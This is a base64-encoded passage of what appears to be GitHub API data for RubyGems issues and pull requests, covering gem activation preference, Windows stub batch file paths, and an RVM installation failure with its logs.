ZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTEyL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExMiIsImlkIjoyODE5Nzk2OTUsIm51bWJlciI6MjExMiwidGl0bGUiOiJbU3BlY2lmaWNhdGlvbl0gUHJlZmVyIHVzZXItaW5zdGFsbGVkIGdlbXMgdG8gZGVmYXVsdCBnZW1zIiwidXNlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjozLCJjcmVhdGVkX2F0IjoiMjAxNy0xMi0xNFQwNDozOTo1NloiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yMlQwMzowMjowOVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik9XTkVSIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjExMiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExMiIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExMi5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExMi5wYXRjaCJ9LCJib2R5IjoiIyBEZXNjcmlwdGlvbjpcclxuXHJcbkBCYW56YWlNYW4gSSBiZWxpZXZlIHRoaXMgd2lsbCBmaXggdGhlIGlzc3VlIHdlIHdlcmUgZGlzY3Vzc2luZyBlYXJsaWVyIHRvZGF5LlxyXG5cclxuVGhpcyBQUiB3aWxsIG1ha2UgUnVieUdlbXMsIHdoZW4gdGhlIHNhbWUgZ2VtIGlzIGluc3RhbGxlZCBib3RoIGJ5IHRoZSB1c2VyIGFuZCBhcyBhIGRlZmF1bHQgZ2VtLCBwcmVmZXIgdG8gYWN0aXZhdGUgdGhlIHVzZXItaW5zdGFsbGVkIGdlbS4gVGhpcyBpcyBkZXNpcmFibGUsIGZvciBleGFtcGxlLCB3aXRoIHRoZSBkZWZhdWx0IGJ1bmRsZXIgZ2VtLCBhcyBpdCBoYXMgZmV3ZXIgZXhlY3V0YWJsZXMgdGhhbiB0aGUgdXNlci1pbnN0YWxsZWQgZ2VtIChpLmUuIHRoZSBgYnVuZGxlcmAgZXhlY3V0YWJsZSkuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTExIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTEvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTEvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExMS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExMSIsImlkIjoyODEwNjY5OTYsIm51bWJlciI6MjExMSwidGl0bGUiOiJydWJ5Z2VtcyBpbnN0YWxsZXIgdXNlcyBhYnNvbHV0ZSBwYXRobmFtZXMgaW4gZ2VuZXJhdGVkIHdpbmRvd3Mgc3R1YiBiYXRjaCBmaWxlcyIsInVzZXIiOnsibG9naW4iOiJveHlnZW5lIiwiaWQiOjgzMzQxNywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvODMzNDE3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9veHlnZW5lIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vb3h5Z2VuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL294eWdlbmUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3h5Z2VuZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9veHlnZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9veHlnZW5lL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3h5Z2VuZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL294eWdlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3h5Z2VuZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL294eWdlbmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL294eWdlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIxOSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwaW5zdGFsbCIsIm5hbWUiOiJjYXRlZ29yeTogaW5zdGFsbCIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjcyMTg4MTkxNywidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvZ29vZCUyMGZpcnN0JTIwaXNzdWUiLCJuYW1lIjoiZ29vZCBmaXJzdCBpc3N1ZSIsImNvbG9yIjoiMTY3NDdjIiwiZGVmYXVsdCI6dHJ1ZX0seyJpZCI6MzA1NzI4ODUxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wbGF0Zm9ybTolMjB3aW5kb3dzIiwibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MiwiY3JlYXRlZF9hdCI6IjIwMTctMTItMTFUMTU6NTI6NTBaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMTlUMDM6NTE6MTNaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkknZCBsaWtlIHRvIHByb3Bvc2UgdG8gdXNlIGAlfmRwMGAgaW5zdGVhZCBvZiB0aGUgaGFyZGNvZGVkIGFic29sdXRlIHBhdGggdG8gcnVieSB3aGVuIGdlbmVyYXRpbmcgdGhlIHdpbmRvd3Mgc3R1YiBiYXRjaCBmaWxlcy5cclxuXHJcblRoZSByYXRpb25hbGUgaXMgdGhhdCBJJ2QgbGlrZSB0byB1c2Ugc29tZSBnZW1zIHdpdGgganJ1YnkgaW4gb3JkZXIgdG8gZGVwbG95IGEgcG9ydGFibGUgc2VsZi1jb250YWluZWQgZm9sZGVyIHRoYXQgSSBjYW4gcHV0IG9uIGEgYnVpbGQtVk0gd2l0aG91dCBpbnRlcm5ldCBhY2Nlc3MuIFBsZWFzZSBzZWUgaHR0cHM6Ly9naXRodWIuY29tL2pydWJ5L2pydWJ5L2lzc3Vlcy80ODkwIGZvciBteSBpbml0aWFsIGJ1ZyByZXBvcnQgdGhhdCBJIGhhdmUgd3JvbmdmdWxseSBmaWxlZCBvbiB0aGUganJ1YnkgcHJvamVjdC5cclxuXHJcbkhlcmUgc2VlbXMgdG8gYmUgdGhlIHJlbGV2YW50IGNvZGU6XHJcbmh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iLzYyZGJkYzVhMDZmZDhkNzQwZTljZTY1YzhmNTYxOWQ4MDM2NjY3M2QvbGliL3J1YnlnZW1zL2luc3RhbGxlci5yYiNMNzUwLUw3NjBcclxuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA4MiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDgyL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDgyL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwODIvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwODIiLCJpZCI6Mjc1MDE1MzQ5LCJudW1iZXIiOjIwODIsInRpdGxlIjoiUlZNIGZhaWxzIHRvIGluc3RhbGwgUnVieUdlbXMgMi43LjIgYXMgcGFydCBvZiBpbnN0YWxsaW5nIFJ1YnkgMi40LjIgZnJvbSBzb3VyY2UsIG9uIG1hY09TIFNpZXJyYSIsInVzZXIiOnsibG9naW4iOiJCcmlhbkhhd2xleSIsImlkIjo0NTk5OTcsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQ1OTk5Nz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvQnJpYW5IYXdsZXkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9Ccmlhbkhhd2xleSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0JyaWFuSGF3bGV5L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0JyaWFuSGF3bGV5L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0JyaWFuSGF3bGV5L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ccmlhbkhhd2xleS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0JyaWFuSGF3bGV5L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvQnJpYW5IYXdsZXkvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvQnJpYW5IYXdsZXkvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ccmlhbkhhd2xleS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvQnJpYW5IYXdsZXkvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjQ0MzI5MzM4NCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHVzZXIlMjBmZWVkYmFjayUyMHJlcXVpcmVkIiwibmFtZSI6InN0YXR1czogdXNlciBmZWVkYmFjayByZXF1aXJlZCIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEwLCJjcmVhdGVkX2F0IjoiMjAxNy0xMS0xN1QyMjoyODoyMFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0xMlQwMjowNDo1MloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSdtIGhhdmluZyBhIHByb2JsZW0gb3Igd291bGQgbGlrZSB0byBzdWdnZXN0IGEgZmVhdHVyZS5cclxuXHJcbk15IGN1cnJlbnQgcHJvYmxlbSBpcyB3aXRoIHRoZSBpbml0aWFsIGluc3RhbGxhdGlvbiBvZiBydWJ5Z2VtcyAyLjcuMiBhcyBhIHBhcnQgb2YgdGhlIHByb2Nlc3Mgb2YgaW5zdGFsbGluZyBydWJ5IGZyb20gc291cmNlLCB1c2luZyBydm0gYWZ0ZXIgaXQgbWVyZ2VkIHN1cHBvcnQgZm9yIHJ1YnlnZW1zIDIuNy4yLlxyXG5cclxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxyXG5cclxuICAtIFsgXSBOZXR3b3JrIHByb2JsZW1zXHJcbiAgLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcclxuICAtIFsgXSBQdWJsaXNoaW5nIGEgbGlicmFyeVxyXG4gIC0gWyBdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcclxuICAtIFt4XSBPdGhlclxyXG5cclxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZpcm9ubWVudCBkZXRhaWxzOlxyXG5cclxuYGBgXHJcbiQgZ2VtIGVudiB2ZXJzaW9uXHJcbjIuNi4xMlxyXG5gYGBcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcblxyXG5UaGlzIGhhcyBiZWVuIHJlcG9ydGVkIHRvIHJ2bSBpbiBodHRwczovL2dpdGh1Yi5jb20vcnZtL3J2bS9pc3N1ZXMvNDIzNyBhbmQgdGhleSBzdWdnZXN0ZWQgdGhhdCBJIHRhbGsgdG8gdGhlIFJ1YnlHZW1zIHBlb3BsZS4gUGFyZG9uIHRoZSBydm0gaW5zdGFsbGF0aW9uIGxvZ3MuIFRoZSBwcm9jZXNzIGZvciByZXBsaWNhdGluZyB0aGUgcHJvYmxlbSwgb24gbWFjT1MgMTAuMTIuNiAoU2llcnJhKTpcclxuYGBgXHJcbiQgcnZtIGdldCBtYXN0ZXJcclxuIyBpdCB3b3JrZWRcclxuJCBydm0gaW5zdGFsbCAtLWRpc2FibGUtYmluYXJ5IHJ1YnktMi40LjJcclxuQ2hlY2tpbmcgcmVxdWlyZW1lbnRzIGZvciBvc3guXHJcbkNlcnRpZmljYXRlcyBidW5kbGUgJy91c3IvbG9jYWwvZXRjL29wZW5zc2xAMS4xL2NlcnQucGVtJyBpcyBhbHJlYWR5IHVwIHRvIGRhdGUuXHJcblJlcXVpcmVtZW50cyBpbnN0YWxsYXRpb24gc3VjY2Vzc2Z1bC5cclxuSW5zdGFsbGluZyBSdWJ5IGZyb20gc291cmNlIHRvOiAvVXNlcnMvYmhhd2xleS8ucnZtL3J1Ymllcy9ydWJ5LTIuNC4yLCB0aGlzIG1heSB0YWtlIGEgd2hpbGUgZGVwZW5kaW5nIG9uIHlvdXIgY3B1KHMpLi4uXHJcbnJ1YnktMi40LjIgLSAjZG93bmxvYWRpbmcgcnVieS0yLjQuMiwgdGhpcyBtYXkgdGFrZSBhIHdoaWxlIGRlcGVuZGluZyBvbiB5b3VyIGNvbm5lY3Rpb24uLi5cclxucnVieS0yLjQuMiAtICNleHRyYWN0aW5nIHJ1YnktMi40LjIgdG8gL1VzZXJzL2JoYXdsZXkvLnJ2bS9zcmMvcnVieS0yLjQuMi4uLi5cclxucnVieS0yLjQuMiAtICNjb25maWd1cmluZy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLlxyXG5ydWJ5LTIuNC4yIC0gI3Bvc3QtY29uZmlndXJhdGlvbi5cclxucnVieS0yLjQuMiAtICNjb21waWxpbmcuLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLlxyXG5ydWJ5LTIuNC4yIC0gI2luc3RhbGxpbmcuLi4uLi4uXHJcbnJ1YnktMi40LjIgLSAjbWFraW5nIGJpbmFyaWVzIGV4ZWN1dGFibGUuLlxyXG5ydWJ5LTIuNC4yIC0gI2Rvd25sb2FkaW5nIHJ1YnlnZW1zLTIuNy4yXHJcbnJ1YnktMi40LjIgLSAjZXh0cmFjdGluZyBydWJ5Z2Vtcy0yLjcuMi4uLi4uXHJcbnJ1YnktMi40LjIgLSAjcmVtb3Zpbmcgb2xkIHJ1YnlnZW1zLi4uLi4uLi5cclxucnVieS0yLjQuMiAtICNpbnN0YWxsaW5nIHJ1YnlnZW1zLTIuNy4yLlxyXG5FcnJvciBydW5uaW5nICdlbnYgR0VNX0hPTUU9L1VzZXJzL2JoYXdsZXkvLnJ2bS9nZW1zL3J1YnktMi40LjJAZ2xvYmFsIEdFTV9QQVRIPSAvVXNlcnMvYmhhd2xleS8ucnZtL3J1Ymllcy9ydWJ5LTIuNC4yL2Jpbi9ydWJ5IC1kIC9Vc2Vycy9iaGF3bGV5Ly5ydm0vc3JjL3J1YnlnZW1zLTIuNy4yL3NldHVwLnJiIC0tbm8tZG9jdW1lbnQnLFxyXG5wbGVhc2UgcmVhZCAvVXNlcnMvYmhhd2xleS8ucnZtL2xvZy8xNTEwOTU3MDM4X3J1YnktMi40LjIvcnVieWdlbXMuaW5zdGFsbC5sb2dcclxuYGBgXHJcblxyXG5UaGUgbG9nOlxyXG5gYGBcclxuJCBjYXQgL1VzZXJzL2JoYXdsZXkvLnJ2bS9sb2cvMTUxMDk1NzAzOF9ydWJ5LTIuNC4yL3J1YnlnZW1zLmluc3RhbGwubG9nXHJcblsyMDE3LTExLTE3IDE0OjIwOjAyXSAvVXNlcnMvYmhhd2xleS8ucnZtL3J1Ymllcy9ydWJ5LTIuNC4yL2Jpbi9ydWJ5XHJcbmN1cnJlbnQgcGF0aDogL1VzZXJzL2JoYXdsZXkvLnJ2bS9zcmMvcnVieWdlbXMtMi43LjJcclxuUEFUSD0vdXNyL2xvY2FsL29wdC9jb3JldXRpbHMvYmluOi91c3IvbG9jYWwvb3B0L3BrZy1jb25maWcvYmluOi91c3IvbG9jYWwvb3B0L2xpYnRvb2wvYmluOi91c3IvbG9jYWwvb3B0L2F1dG9tYWtlL2JpbjovdXNyL2xvY2FsL29wdC9hdXRvY29uZi9iaW46L3Vzci9sb2NhbC9iaW46L3Vzci9iaW46L2JpbjovdXNyL3NiaW46L3NiaW46L29wdC9YMTEvYmluOi9Vc2Vycy9iaGF3bGV5Ly5ydm0vYmluXHJcbmNvbW1hbmQoNyk6IGVudiBHRU1fSE9NRT0vVXNlcnMvYmhhd2xleS8ucnZtL2dlbXMvcnVieS0yLjQuMkBnbG9iYWwgR0VNX1BBVEg9IC9Vc2Vycy9iaGF3bGV5Ly5ydm0vcnViaWVzL3J1YnktMi40LjIvYmluL3J1YnkgLWQgL1VzZXJzL2JoYXdsZXkvLnJ2bS9zcmMvcnVieWdlbXMtMi43LjIvc2V0dXAucmIgLS1uby1kb2N1bWVudFxyXG5FeGNlcHRpb24gYExvYWRFcnJvcicgYXQgL1VzZXJzL2JoYXdsZXkvLnJ2bS9ydWJpZXMvcnVieS0yLjQuMi9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy5yYjoxMzQ2IC0gY2Fubm90IGxvYWQgc3VjaCBmaWxlIC0tIHJ1YnlnZW1zL2RlZmF1bHRzL29wZXJhdGluZ19zeXN0ZW1cclxuRXhjZXB0aW9uIGBMb2FkRXJyb3InIGF0IC9Vc2Vycy9iaGF3bGV5Ly5ydm0vcnViaWVzL3J1YnktMi40LjIvbGliL3J1YnkvMi40LjAvcnVieWdlbXMucmI6MTM1NSAtIGNhbm5vdCBsb2FkIHN1Y2ggZmlsZSAtLSBydWJ5Z2Vtcy9kZWZhdWx0cy9ydWJ5XHJcbkV4Y2VwdGlvbiBgR2VtOjpNaXNzaW5nU3BlY0Vycm9yJyBhdCAvVXNlcnMvYmhhd2xleS8ucnZtL3J1Ymllcy9ydWJ5LTIuNC4yL2xpYi9ydWJ5LzIuNC4wL3J1YnlnZW1zL2RlcGVuZGVuY3kucmI6MzA4IC0gR2VtOjpNaXNzaW5nU3BlY0Vycm9yXHJcbkJ1bmRsZXIgMS4xNi4wIGluc3RhbGxlZFxyXG5SdWJ5R2VtcyAyLjcuMiBpbnN0YWxsZWRcclxuUmVnZW5lcmF0aW5nIGJpbnN0dWJzXHJcbmBgYFxyXG5cclxuVHJ5aW5nIHRvIHVzZSBpdCBhZnRlcndhcmRzOlxyXG5gYGBcclxuJCBydm0gdXNlIHJ1YnktMi40LjJcclxuR2Vtc2V0ICcnIGRvZXMgbm90IGV4aXN0LCAncnZtIHJ1YnktMi40LjIgZG8gcnZtIGdlbXNldCBjcmVhdGUgJyBmaXJzdCwgb3IgYXBwZW5kICctLWNyZWF0ZScuXHJcbmBgYFxyXG5cclxuSXQgd2FzIGEgbGl0dGxlIHdlaXJkIHRvIHNlZSB0aGUgTG9hZEVycm9yIGV4Y2VwdGlvbnMgaW4gdGhlIGxvZywgZ2l2ZW4gdGhhdCB0aGV5J3JlIHJlc2N1ZWQsIGJ1dCB0aGV5IGRpZG4ndCBzdG9wIHRoZSBpbnN0YWxsIHByb2Nlc3MuIFRoYXQgYEdlbTo6TWlzc2luZ1NwZWNFcnJvcmAgZXhjZXB0aW9uIG1heSBoYXZlIHN0b3BwZWQgdGhlIGluc3RhbGwgdGhvdWdoLiBJdCdzIGFsc28gcG9zc2libGUgdGhhdCBpdCdzIHNvbWV0aGluZyBlbHNlLlxyXG5cclxuU2VlbiBpbiBtYWNPUyAxMC4xMi42IGFuZCBDZW50T1MgNi4zLiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA3NyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDc3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDc3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNzcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNzciLCJpZCI6Mjc0Mjg0OTk5LCJudW1iZXIiOjIwNzcsInRpdGxlIjoiTWFrZSBgLS1jb25zZXJ2YXRpdmVgIGFzIGRlZmF1bHQiLCJ1c2VyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYn